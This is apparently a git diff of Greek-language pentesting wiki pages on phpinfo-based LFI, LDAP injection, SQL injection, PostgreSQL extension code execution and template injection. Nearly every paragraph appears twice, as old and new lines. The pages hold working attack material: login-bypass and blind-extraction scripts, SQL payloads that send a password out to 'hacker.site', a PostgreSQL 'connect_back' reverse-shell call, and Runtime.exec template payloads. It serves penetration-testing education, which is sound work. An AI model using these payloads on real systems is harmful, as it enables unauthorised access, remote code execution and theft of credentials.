Στο **linux** το όνομα του αρχείου συνήθως είναι **τυχαίο** και βρίσκεται στο **/tmp**. Δεδομένου ότι το όνομα είναι τυχαίο, είναι απαραίτητο να **εξάγετε από κάπου το όνομα του προσωρινού αρχείου** και να αποκτήσετε πρόσβαση σε αυτό πριν διαγραφεί. Αυτό μπορεί να γίνει διαβάζοντας την τιμή της **μεταβλητής $\_FILES** μέσα στο περιεχόμενο της συνάρτησης "**phpconfig()**".
**phpinfo()**
**PHP** χρησιμοποιεί ένα buffer **4096B** και όταν είναι **γεμάτο**, αποστέλλεται **στον πελάτη**. Στη συνέχεια, ο πελάτης μπορεί να **στείλει** **πολλές μεγάλες αιτήσεις** (χρησιμοποιώντας μεγάλες κεφαλίδες) **ανεβάζοντας ένα php** reverse **shell**, περιμένοντας να **επιστραφεί το πρώτο μέρος του phpinfo()** (όπου είναι το όνομα του προσωρινού αρχείου) και προσπαθώντας να **αποκτήσει πρόσβαση στο temp αρχείο** πριν ο διακομιστής php διαγράψει το αρχείο εκμεταλλευόμενος μια ευπάθεια LFI.
**PHP** χρησιμοποιεί ένα buffer **4096B** και όταν είναι **γεμάτο**, αποστέλλεται **στον πελάτη**. Στη συνέχεια, ο πελάτης μπορεί να **στείλει** **πολλές μεγάλες αιτήσεις** (χρησιμοποιώντας μεγάλες κεφαλίδες) **ανεβάζοντας ένα php** reverse **shell**, περιμένοντας να **επιστραφεί το πρώτο μέρος του phpinfo()** (όπου είναι το όνομα του προσωρινού αρχείου) και να προσπαθήσει να **αποκτήσει πρόσβαση στο temp αρχείο** πριν ο διακομιστής php διαγράψει το αρχείο εκμεταλλευόμενος μια ευπάθεια LFI.
**Python script για να προσπαθήσετε να βρείτε το όνομα (αν το μήκος = 6)**
**Python script για να προσπαθήσετε να σπάσετε το όνομα (αν το μήκος = 6)**
```python
import itertools
import requests

View File

@ -14,9 +14,11 @@
../network-services-pentesting/pentesting-ldap.md
{{#endref}}
**LDAP Injection** είναι μια επίθεση που στοχεύει σε διαδικτυακές εφαρμογές που κατασκευάζουν δηλώσεις LDAP από είσοδο χρηστών. Συμβαίνει όταν η εφαρμογή **αποτυγχάνει να καθαρίσει σωστά** την είσοδο, επιτρέποντας στους επιτιθέμενους να **χειριστούν δηλώσεις LDAP** μέσω τοπικού proxy, ενδεχομένως οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση ή χειρισμό δεδομένων.
**LDAP Injection** είναι μια επίθεση που στοχεύει σε διαδικτυακές εφαρμογές που κατασκευάζουν δηλώσεις LDAP από είσοδο χρηστών. Συμβαίνει όταν η εφαρμογή **αποτυγχάνει να καθαρίσει σωστά** την είσοδο, επιτρέποντας στους επιτιθέμενους να **χειραγωγήσουν τις δηλώσεις LDAP** μέσω τοπικού proxy, ενδεχομένως οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση ή χειραγώγηση δεδομένων.
{% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
{{#file}}
EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf
{{#endfile}}
**Filter** = ( filtercomp )\
**Filtercomp** = and / or / not / item\
@ -44,7 +46,7 @@
**ADAM ή Microsoft LDS**: Με 2 φίλτρα ρίχνουν σφάλμα.\
**SunOne Directory Server 5.0**: Εκτελεί και τα δύο φίλτρα.
**Είναι πολύ σημαντικό να στείλετε το φίλτρο με σωστή σύνταξη ή θα προκληθεί σφάλμα. Είναι καλύτερα να στείλετε μόνο 1 φίλτρο.**
**Είναι πολύ σημαντικό να στείλετε το φίλτρο με σωστή σύνταξη ή θα προκύψει σφάλμα. Είναι καλύτερα να στείλετε μόνο 1 φίλτρο.**
Το φίλτρο πρέπει να ξεκινά με: `&` ή `|`\
Παράδειγμα: `(&(directory=val1)(folder=public))`
@ -56,7 +58,7 @@
### Login Bypass
Το LDAP υποστηρίζει διάφορες μορφές για την αποθήκευση του κωδικού πρόσβασης: clear, md5, smd5, sh1, sha, crypt. Έτσι, μπορεί να συμβαίνει ότι ανεξάρτητα από το τι εισάγετε μέσα στον κωδικό πρόσβασης, αυτός κωδικοποιείται.
Το LDAP υποστηρίζει διάφορες μορφές για την αποθήκευση του κωδικού πρόσβασης: clear, md5, smd5, sh1, sha, crypt. Έτσι, μπορεί να συμβαίνει ότι ανεξάρτητα από το τι εισάγετε μέσα στον κωδικό πρόσβασης, αυτός είναι κατακερματισμένος.
```bash
user=*
password=*
@ -119,7 +121,7 @@ password=any
### Blind LDAP Injection
Μπορείτε να αναγκάσετε ψευδείς ή αληθείς απαντήσεις για να ελέγξετε αν επιστρέφονται δεδομένα και να επιβεβαιώσετε μια πιθανή Blind LDAP Injection:
Μπορείτε να αναγκάσετε ψευδείς ή αληθείς απαντήσεις για να ελέγξετε αν επιστρέφεται οποιαδήποτε δεδομένα και να επιβεβαιώσετε μια πιθανή Blind LDAP Injection:
```bash
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
@ -148,7 +150,7 @@ Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=P
#### **Ανακάλυψη έγκυρων πεδίων LDAP**
Τα αντικείμενα LDAP **περιέχουν από προεπιλογή αρκετά χαρακτηριστικά** που θα μπορούσαν να χρησιμοποιηθούν για **να αποθηκεύσουν πληροφορίες**. Μπορείτε να προσπαθήσετε να **επιτεθείτε σε όλα αυτά για να εξαγάγετε αυτές τις πληροφορίες.** Μπορείτε να βρείτε μια λίστα με [**προεπιλεγμένα χαρακτηριστικά LDAP εδώ**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt).
Τα αντικείμενα LDAP **περιέχουν από προεπιλογή αρκετά χαρακτηριστικά** που θα μπορούσαν να χρησιμοποιηθούν για **να αποθηκεύσουν πληροφορίες**. Μπορείτε να προσπαθήσετε να **επιτεθείτε σε όλα αυτά για να εξάγετε αυτές τις πληροφορίες.** Μπορείτε να βρείτε μια λίστα με [**τα προεπιλεγμένα χαρακτηριστικά LDAP εδώ**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt).
```python
#!/usr/bin/python3
import requests
@ -180,7 +182,7 @@ if char == alphabet[-1]: #If last of all the chars, then, no more chars in the v
finish = True
print()
```
#### **Ειδική Τυφλή LDAP Injection (χωρίς "\*")**
#### **Ειδική Τυφλή LDAP Εισαγωγή (χωρίς "\*")**
```python
#!/usr/bin/python3

View File

@ -66,12 +66,14 @@ page.asp?id=1 and 1=2 -- results in false
```
Αυτή η λίστα λέξεων δημιουργήθηκε για να προσπαθήσει να **επιβεβαιώσει SQLinjections** με τον προτεινόμενο τρόπο:
{% file src="../../images/sqli-logic.txt" %}
{{#file}}
sqli-logic.txt
{{#endfile}}
### Επιβεβαίωση με Χρόνο
Σε ορισμένες περιπτώσεις **δεν θα παρατηρήσετε καμία αλλαγή** στη σελίδα που δοκιμάζετε. Επομένως, ένας καλός τρόπος για να **ανακαλύψετε τυφλές SQL injections** είναι να κάνετε τη βάση δεδομένων να εκτελεί ενέργειες που θα έχουν **επίδραση στον χρόνο** που χρειάζεται η σελίδα για να φορτώσει.\
Επομένως, θα συνδυάσουμε στην SQL ερώτηση μια ενέργεια που θα χρειαστεί πολύ χρόνο για να ολοκληρωθεί:
Επομένως, θα συνδυάσουμε στην SQL ερώτηση μια λειτουργία που θα χρειαστεί πολύ χρόνο για να ολοκληρωθεί:
```
MySQL (string concat and logical ops)
1' + sleep(10)
@ -97,7 +99,7 @@ SQLite
### Αναγνώριση Back-end
Ο καλύτερος τρόπος για να αναγνωρίσετε το back-end είναι να προσπαθήσετε να εκτελέσετε λειτουργίες των διαφόρων back-end. Μπορείτε να χρησιμοποιήσετε τις _**λειτουργίες ύπνου**_ **της προηγούμενης ενότητας** ή αυτές (πίνακας από [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
Ο καλύτερος τρόπος για να αναγνωρίσετε το back-end είναι να προσπαθήσετε να εκτελέσετε λειτουργίες των διαφόρων back-end. Μπορείτε να χρησιμοποιήσετε τις _**λειτουργίες ύπνου**_ της προηγούμενης ενότητας ή αυτές (πίνακας από [payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification):
```bash
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
@ -140,13 +142,13 @@ https://portswigger.net/web-security/sql-injection/cheat-sheet
### Ανίχνευση αριθμού στηλών
Αν μπορείτε να δείτε την έξοδο του ερωτήματος, αυτή είναι η καλύτερη μέθοδος για να την εκμεταλλευτείτε.\
Αν μπορείτε να δείτε την έξοδο του ερωτήματος, αυτή είναι η καλύτερη μέθοδος για να το εκμεταλλευτείτε.\
Πρώτα απ' όλα, πρέπει να ανακαλύψουμε τον **αριθμό** των **στηλών** που επιστρέφει το **αρχικό αίτημα**. Αυτό συμβαίνει επειδή **και τα δύο ερωτήματα πρέπει να επιστρέφουν τον ίδιο αριθμό στηλών**.\
Δύο μέθοδοι χρησιμοποιούνται συνήθως για αυτόν τον σκοπό:
#### Order/Group by
Για να προσδιορίσετε τον αριθμό των στηλών σε ένα ερώτημα, προσαρμόστε σταδιακά τον αριθμό που χρησιμοποιείται στις ρήτρες **ORDER BY** ή **GROUP BY** μέχρι να ληφθεί μια ψευδής απάντηση. Παρά τις διακριτές λειτουργίες των **GROUP BY** και **ORDER BY** μέσα στο SQL, και οι δύο μπορούν να χρησιμοποιηθούν με τον ίδιο τρόπο για να προσδιορίσουν τον αριθμό των στηλών του ερωτήματος.
Για να προσδιορίσετε τον αριθμό των στηλών σε ένα ερώτημα, προσαρμόστε σταδιακά τον αριθμό που χρησιμοποιείται στις ρήτρες **ORDER BY** ή **GROUP BY** μέχρι να ληφθεί μια ψευδής απάντηση. Παρά τις διακριτές λειτουργίες των **GROUP BY** και **ORDER BY** μέσα στο SQL, και οι δύο μπορούν να χρησιμοποιηθούν ομοίως για να προσδιορίσουν τον αριθμό των στηλών του ερωτήματος.
```sql
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
@ -225,17 +227,17 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
## Στοιβαγμένες Ερωτήσεις
Μπορείτε να χρησιμοποιήσετε στοιβαγμένες ερωτήσεις για να **εκτελέσετε πολλαπλές ερωτήσεις διαδοχικά**. Σημειώστε ότι ενώ οι επόμενες ερωτήσεις εκτελούνται, τα **αποτελέσματα** **δεν επιστρέφονται στην εφαρμογή**. Επομένως, αυτή η τεχνική είναι κυρίως χρήσιμη σε σχέση με **τυφλές ευπάθειες** όπου μπορείτε να χρησιμοποιήσετε μια δεύτερη ερώτηση για να ενεργοποιήσετε μια αναζήτηση DNS, μια συνθήκη σφάλματος ή μια καθυστέρηση χρόνου.
Μπορείτε να χρησιμοποιήσετε στοιβαγμένες ερωτήσεις για να **εκτελέσετε πολλές ερωτήσεις διαδοχικά**. Σημειώστε ότι ενώ οι επόμενες ερωτήσεις εκτελούνται, τα **αποτελέσματα** **δεν επιστρέφονται στην εφαρμογή**. Επομένως, αυτή η τεχνική είναι κυρίως χρήσιμη σε σχέση με **τυφλές ευπάθειες** όπου μπορείτε να χρησιμοποιήσετε μια δεύτερη ερώτηση για να ενεργοποιήσετε μια αναζήτηση DNS, μια συνθήκη σφάλματος ή μια καθυστέρηση χρόνου.
**Oracle** δεν υποστηρίζει **στοιβαγμένες ερωτήσεις.** **MySQL, Microsoft** και **PostgreSQL** τις υποστηρίζουν: `QUERY-1-HERE; QUERY-2-HERE`
## Εκμετάλλευση εκτός ζώνης
Εάν **κανένας άλλος** μέθοδος εκμετάλλευσης **δεν λειτούργησε**, μπορείτε να προσπαθήσετε να κάνετε τη **βάση δεδομένων να εξάγει** τις πληροφορίες σε έναν **εξωτερικό διακομιστή** που ελέγχετε. Για παράδειγμα, μέσω ερωτήσεων DNS:
Αν **κανένας άλλος** μέθοδος εκμετάλλευσης **δεν λειτούργησε**, μπορείτε να προσπαθήσετε να κάνετε τη **βάση δεδομένων να εξάγει** τις πληροφορίες σε έναν **εξωτερικό διακομιστή** που ελέγχετε. Για παράδειγμα, μέσω ερωτήσεων DNS:
```sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
```
### Εξαγωγή δεδομένων εκτός ζώνης μέσω XXE
### Εξαγωγή δεδομένων εκτός δικτύου μέσω XXE
```sql
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
```
@ -267,7 +269,7 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
```sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
```
Αυτή η ερώτηση επιδεικνύει μια ευπάθεια όταν το MD5 χρησιμοποιείται με true για την ακατέργαστη έξοδο σε ελέγχους ταυτοποίησης, καθιστώντας το σύστημα ευάλωτο σε SQL injection. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό δημιουργώντας εισόδους που, όταν κατακερματίζονται, παράγουν απροσδόκητα μέρη SQL εντολών, οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση.
Αυτή η ερώτηση επιδεικνύει μια ευπάθεια όταν το MD5 χρησιμοποιείται με true για την ακατέργαστη έξοδο σε ελέγχους ταυτοποίησης, καθιστώντας το σύστημα ευάλωτο σε SQL injection. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό δημιουργώντας εισόδους που, όταν κατακερματίζονται, παράγουν αναπάντεχα μέρη SQL εντολών, οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση.
```sql
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
@ -278,14 +280,16 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
```
**Συνιστώμενη λίστα**:
Πρέπει να χρησιμοποιείτε ως όνομα χρήστη κάθε γραμμή της λίστας και ως κωδικό πρόσβασης πάντα: _**Pass1234.**_\
Πρέπει να χρησιμοποιείτε ως όνομα χρήστη κάθε γραμμή της λίστας και ως κωδικό πάντα: _**Pass1234.**_\
&#xNAN;_(Αυτά τα payloads περιλαμβάνονται επίσης στη μεγάλη λίστα που αναφέρθηκε στην αρχή αυτής της ενότητας)_
{% file src="../../images/sqli-hashbypass.txt" %}
{{#file}}
sqli-hashbypass.txt
{{#endfile}}
### GBK Authentication Bypass
### Παράκαμψη Αυθεντικοποίησης GBK
ΕΑΝ το ' είναι διαφραγμένο μπορείτε να χρησιμοποιήσετε %A8%27, και όταν το ' διαφραγεί θα δημιουργηθεί: 0xA80x5c0x27 (_╘'_)
ΑΝ το ' είναι διαφυλαγμένο μπορείτε να χρησιμοποιήσετε %A8%27, και όταν το ' διαφυλάσσεται θα δημιουργηθεί: 0xA80x5c0x27 (_╘'_)
```sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
@ -312,13 +316,13 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
- Δημιουργήστε χρήστη με το όνομα: **AdMIn** (κεφαλαία & πεζά γράμματα)
- Δημιουργήστε έναν χρήστη με το όνομα: **admin=**
- **SQL Truncation Attack** (όταν υπάρχει κάποιο είδος **περιορισμού μήκους** στο όνομα χρήστη ή στο email) --> Δημιουργήστε χρήστη με το όνομα: **admin \[πολλοί χώροι] a**
- **SQL Truncation Attack** (όταν υπάρχει κάποιο είδος **περιορισμού μήκους** στο όνομα χρήστη ή στο email) --> Δημιουργήστε χρήστη με το όνομα: **admin \[πολλές κενές θέσεις] a**
#### SQL Truncation Attack
Εάν η βάση δεδομένων είναι ευάλωτη και ο μέγιστος αριθμός χαρακτήρων για το όνομα χρήστη είναι για παράδειγμα 30 και θέλετε να προσποιηθείτε τον χρήστη **admin**, προσπαθήστε να δημιουργήσετε ένα όνομα χρήστη που ονομάζεται: "_admin \[30 χώροι] a_" και οποιοδήποτε κωδικό πρόσβασης.
Εάν η βάση δεδομένων είναι ευάλωτη και ο μέγιστος αριθμός χαρακτήρων για το όνομα χρήστη είναι για παράδειγμα 30 και θέλετε να προσποιηθείτε τον χρήστη **admin**, προσπαθήστε να δημιουργήσετε ένα όνομα χρήστη που ονομάζεται: "_admin \[30 κενές θέσεις] a_" και οποιοδήποτε κωδικό πρόσβασης.
Η βάση δεδομένων θα **ελέγξει** αν το εισαγόμενο **όνομα χρήστη** **υπάρχει** μέσα στη βάση δεδομένων. Εάν **όχι**, θα **κόψει** το **όνομα χρήστη** στο **μέγιστο επιτρεπόμενο αριθμό χαρακτήρων** (σε αυτή την περίπτωση σε: "_admin \[25 χώροι]_") και στη συνέχεια θα **αφαιρέσει αυτόματα όλους τους χώρους στο τέλος ενημερώνοντας** μέσα στη βάση δεδομένων τον χρήστη "**admin**" με τον **νέο κωδικό πρόσβασης** (μπορεί να εμφανιστεί κάποιο σφάλμα αλλά αυτό δεν σημαίνει ότι δεν έχει λειτουργήσει).
Η βάση δεδομένων θα **ελέγξει** αν το εισαγόμενο **όνομα χρήστη** **υπάρχει** μέσα στη βάση δεδομένων. Εάν **όχι**, θα **κόψει** το **όνομα χρήστη** στο **μέγιστο επιτρεπόμενο αριθμό χαρακτήρων** (σε αυτή την περίπτωση σε: "_admin \[25 κενές θέσεις]_") και στη συνέχεια θα **αφαιρέσει αυτόματα όλες τις κενές θέσεις στο τέλος ενημερώνοντας** μέσα στη βάση δεδομένων τον χρήστη "**admin**" με τον **νέο κωδικό πρόσβασης** (μπορεί να εμφανιστεί κάποιο σφάλμα αλλά αυτό δεν σημαίνει ότι δεν έχει λειτουργήσει).
Περισσότερες πληροφορίες: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
@ -365,7 +369,7 @@ A new user with username=otherUsername, password=otherPassword, email:FLAG will
```sql
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
```
Για να αποκτήσετε το κείμενο, μπορείτε να χρησιμοποιήσετε:
Για να αποκτήσετε το κείμενο μπορείτε να χρησιμοποιήσετε:
```python
__import__('binascii').unhexlify(hex(215573607263)[2:])
```
@ -420,7 +424,7 @@ SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELE
```
### Generic Bypasses
Blacklist χρησιμοποιώντας λέξεις-κλειδιά - bypass χρησιμοποιώντας κεφαλαία/μικρά
Blacklist χρησιμοποιώντας λέξεις-κλειδιά - bypass χρησιμοποιώντας κεφαλαία/μικρά γράμματα
```sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
@ -443,7 +447,7 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
```
### Bypass Column Names Restriction
### Παράκαμψη Περιορισμού Ονομάτων Στηλών
Πρώτα απ' όλα, παρατηρήστε ότι αν το **αρχικό ερώτημα και ο πίνακας από τον οποίο θέλετε να εξαγάγετε τη σημαία έχουν τον ίδιο αριθμό στηλών** μπορείτε απλά να κάνετε: `0 UNION SELECT * FROM flag`

View File

@ -8,7 +8,7 @@
Από την έκδοση 8.1 και μετά, επιβάλλεται μια συγκεκριμένη απαίτηση στις βιβλιοθήκες επεκτάσεων: πρέπει να είναι συμπιεσμένες με μια ειδική κεφαλίδα. Χωρίς αυτό, το PostgreSQL δεν θα τις εκτελέσει, διασφαλίζοντας ότι χρησιμοποιούνται μόνο συμβατές και δυνητικά ασφαλείς επεκτάσεις.
Επίσης, να έχετε υπόψη ότι **αν δεν ξέρετε πώς να** [**ανεβάσετε αρχεία στον θύμα εκμεταλλευόμενοι το PostgreSQL, θα πρέπει να διαβάσετε αυτή την ανάρτηση.**](big-binary-files-upload-postgresql.md)
Επίσης, να έχετε υπόψη ότι **αν δεν ξέρετε πώς να** [**ανεβάσετε αρχεία στον θύμα εκμεταλλευόμενοι το PostgreSQL θα πρέπει να διαβάσετε αυτή την ανάρτηση.**](big-binary-files-upload-postgresql.md)
### RCE σε Linux
@ -75,15 +75,15 @@ HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
```
Αυτό το σφάλμα εξηγείται στην [τεκμηρίωση του PostgreSQL](https://www.postgresql.org/docs/current/static/xfunc-c.html):
> Για να διασφαλιστεί ότι ένα δυναμικά φορτωμένο αρχείο αντικειμένου δεν φορτώνεται σε έναν ασύμβατο διακομιστή, το PostgreSQL ελέγχει ότι το αρχείο περιέχει ένα “magic block” με τα κατάλληλα περιεχόμενα. Αυτό επιτρέπει στον διακομιστή να ανιχνεύει προφανείς ασυμβατότητες, όπως κώδικα που έχει μεταγλωττιστεί για μια διαφορετική κύρια έκδοση του PostgreSQL. Ένα magic block απαιτείται από την έκδοση 8.2 του PostgreSQL. Για να συμπεριλάβετε ένα magic block, γράψτε αυτό σε ένα (και μόνο ένα) από τα αρχεία πηγής του module, αφού έχετε συμπεριλάβει την κεφαλίδα fmgr.h:
> Για να διασφαλιστεί ότι ένα δυναμικά φορτωμένο αρχείο αντικειμένου δεν φορτώνεται σε έναν ασύμβατο διακομιστή, το PostgreSQL ελέγχει ότι το αρχείο περιέχει ένα “μαγικό μπλοκ” με τα κατάλληλα περιεχόμενα. Αυτό επιτρέπει στον διακομιστή να ανιχνεύει προφανείς ασυμβατότητες, όπως κώδικα που έχει μεταγλωττιστεί για μια διαφορετική κύρια έκδοση του PostgreSQL. Ένα μαγικό μπλοκ απαιτείται από την έκδοση 8.2 του PostgreSQL. Για να συμπεριλάβετε ένα μαγικό μπλοκ, γράψτε αυτό σε ένα (και μόνο ένα) από τα αρχεία πηγής του module, αφού έχετε συμπεριλάβει την κεφαλίδα fmgr.h:
>
> `#ifdef PG_MODULE_MAGIC`\
> `PG_MODULE_MAGIC;`\
> `#endif`
Από την έκδοση 8.2 του PostgreSQL, η διαδικασία για έναν επιτιθέμενο να εκμεταλλευτεί το σύστημα έχει γίνει πιο δύσκολη. Ο επιτιθέμενος απαιτείται είτε να χρησιμοποιήσει μια βιβλιοθήκη που είναι ήδη παρούσα στο σύστημα είτε να ανεβάσει μια προσαρμοσμένη βιβλιοθήκη. Αυτή η προσαρμοσμένη βιβλιοθήκη πρέπει να έχει μεταγλωττιστεί κατά της συμβατής κύριας έκδοσης του PostgreSQL και πρέπει να περιλαμβάνει ένα συγκεκριμένο "magic block". Αυτό το μέτρο αυξάνει σημαντικά τη δυσκολία εκμετάλλευσης των συστημάτων PostgreSQL, καθώς απαιτεί μια πιο βαθιά κατανόηση της αρχιτεκτονικής του συστήματος και της συμβατότητας εκδόσεων.
Από την έκδοση 8.2 του PostgreSQL, η διαδικασία για έναν επιτιθέμενο να εκμεταλλευτεί το σύστημα έχει γίνει πιο δύσκολη. Ο επιτιθέμενος απαιτείται είτε να χρησιμοποιήσει μια βιβλιοθήκη που είναι ήδη παρούσα στο σύστημα είτε να ανεβάσει μια προσαρμοσμένη βιβλιοθήκη. Αυτή η προσαρμοσμένη βιβλιοθήκη πρέπει να έχει μεταγλωττιστεί κατά της συμβατής κύριας έκδοσης του PostgreSQL και πρέπει να περιλαμβάνει ένα συγκεκριμένο "μαγικό μπλοκ". Αυτό το μέτρο αυξάνει σημαντικά τη δυσκολία εκμετάλλευσης των συστημάτων PostgreSQL, καθώς απαιτεί μια πιο βαθιά κατανόηση της αρχιτεκτονικής και της συμβατότητας έκδοσης του συστήματος.
#### Μεταγλωττίστε τη βιβλιοθήκη
#### Συμπιέστε τη βιβλιοθήκη
Αποκτήστε την έκδοση του PostgreSQL με:
```sql
@ -166,7 +166,9 @@ PG_RETURN_VOID();
```
Μπορείτε να βρείτε το DLL που έχει μεταγλωττιστεί σε αυτό το zip:
{% file src="../../../images/pgsql_exec.zip" %}
{{#file}}
pgsql_exec.zip
{{#endfile}}
Μπορείτε να υποδείξετε σε αυτό το DLL **ποιο δυαδικό να εκτελέσει** και τον αριθμό των φορών που θα το εκτελέσει, σε αυτό το παράδειγμα θα εκτελέσει το `calc.exe` 2 φορές:
```bash
@ -268,13 +270,13 @@ CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\sha
#### Ροή επίθεσης
Πρώτα απ' όλα, πρέπει να **χρησιμοποιήσεις μεγάλες αντικείμενα για να ανεβάσεις το dll**. Μπορείς να δεις πώς να το κάνεις αυτό εδώ:
Πρώτα απ' όλα, πρέπει να **χρησιμοποιήσετε μεγάλες αντικείμενα για να ανεβάσετε το dll**. Μπορείτε να δείτε πώς να το κάνετε αυτό εδώ:
{{#ref}}
big-binary-files-upload-postgresql.md
{{#endref}}
Αφού έχεις ανεβάσει την επέκταση (με το όνομα poc.dll για αυτό το παράδειγμα) στον κατάλογο δεδομένων, μπορείς να την φορτώσεις με:
Αφού έχετε ανεβάσει την επέκταση (με το όνομα poc.dll για αυτό το παράδειγμα) στον κατάλογο δεδομένων, μπορείτε να την φορτώσετε με:
```c
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);

View File

@ -43,7 +43,7 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
### [TInjA](https://github.com/Hackmanit/TInjA)
ένας αποδοτικός σαρωτής SSTI + CSTI που χρησιμοποιεί καινοτόμους πολυγλωσσικούς κώδικες.
ένας αποτελεσματικός σαρωτής SSTI + CSTI που χρησιμοποιεί καινοτόμους πολυγλωσσικούς κώδικες.
```bash
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
@ -66,7 +66,7 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment
## Εκμεταλλεύσεις
### Γενικές
### Γενικά
Σε αυτή τη **λίστα λέξεων** μπορείτε να βρείτε **μεταβλητές που ορίζονται** στα περιβάλλοντα ορισμένων από τις μηχανές που αναφέρονται παρακάτω:
@ -101,7 +101,7 @@ ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().ex
- `{{7*7}} = {{7*7}}`
- `${7*7} = 49`
- `#{7*7} = 49 -- (legacy)`
- `${7*'7'} Τίποτα`
- `${7*'7'} Nothing`
- `${foobar}`
```java
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
@ -155,7 +155,7 @@ $out.read()
### Thymeleaf
Στο Thymeleaf, μια κοινή δοκιμή για ευπάθειες SSTI είναι η έκφραση `${7*7}`, η οποία ισχύει επίσης για αυτή την μηχανή προτύπων. Για πιθανή απομακρυσμένη εκτέλεση κώδικα, μπορούν να χρησιμοποιηθούν εκφράσεις όπως οι εξής:
Στο Thymeleaf, μια κοινή δοκιμή για ευπάθειες SSTI είναι η έκφραση `${7*7}`, η οποία ισχύει επίσης για αυτή την μηχανή προτύπων. Για πιθανή απομακρυσμένη εκτέλεση κώδικα, μπορούν να χρησιμοποιηθούν εκφράσεις όπως οι παρακάτω:
- SpringEL:
@ -169,9 +169,9 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')}
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
```
Το Thymeleaf απαιτεί αυτές τις εκφράσεις να τοποθετούνται εντός συγκεκριμένων χαρακτηριστικών. Ωστόσο, υποστηρίζεται _inline έκφραση_ για άλλες τοποθεσίες προτύπων, χρησιμοποιώντας σύνταξη όπως `[[...]]` ή `[(...)]`. Έτσι, μια απλή δοκιμή SSTI μπορεί να μοιάζει με `[[${7*7}]]`.
Το Thymeleaf απαιτεί αυτές τις εκφράσεις να τοποθετούνται εντός συγκεκριμένων χαρακτηριστικών. Ωστόσο, υποστηρίζεται _inline έκφραση_ για άλλες τοποθεσίες προτύπων, χρησιμοποιώντας σύνταξη όπως `[[...]]` ή `[(...)]`. Έτσι, μια απλή δοκιμή payload SSTI μπορεί να μοιάζει με `[[${7*7}]]`.
Ωστόσο, η πιθανότητα να λειτουργήσει αυτό το payload είναι γενικά χαμηλή. Η προεπιλεγμένη ρύθμιση του Thymeleaf δεν υποστηρίζει δυναμική δημιουργία προτύπων; τα πρότυπα πρέπει να είναι προκαθορισμένα. Οι προγραμματιστές θα χρειαστεί να υλοποιήσουν τον δικό τους `TemplateResolver` για να δημιουργήσουν πρότυπα από συμβολοσειρές σε πραγματικό χρόνο, κάτι που είναι σπάνιο.
Ωστόσο, η πιθανότητα να λειτουργήσει αυτό το payload είναι γενικά χαμηλή. Η προεπιλεγμένη ρύθμιση του Thymeleaf δεν υποστηρίζει δυναμική δημιουργία προτύπων; τα πρότυπα πρέπει να είναι προκαθορισμένα. Οι προγραμματιστές θα χρειαστεί να υλοποιήσουν τον δικό τους `TemplateResolver` για να δημιουργήσουν πρότυπα από συμβολοσειρές σε πραγματικό χρόνο, κάτι που είναι ασυνήθιστο.
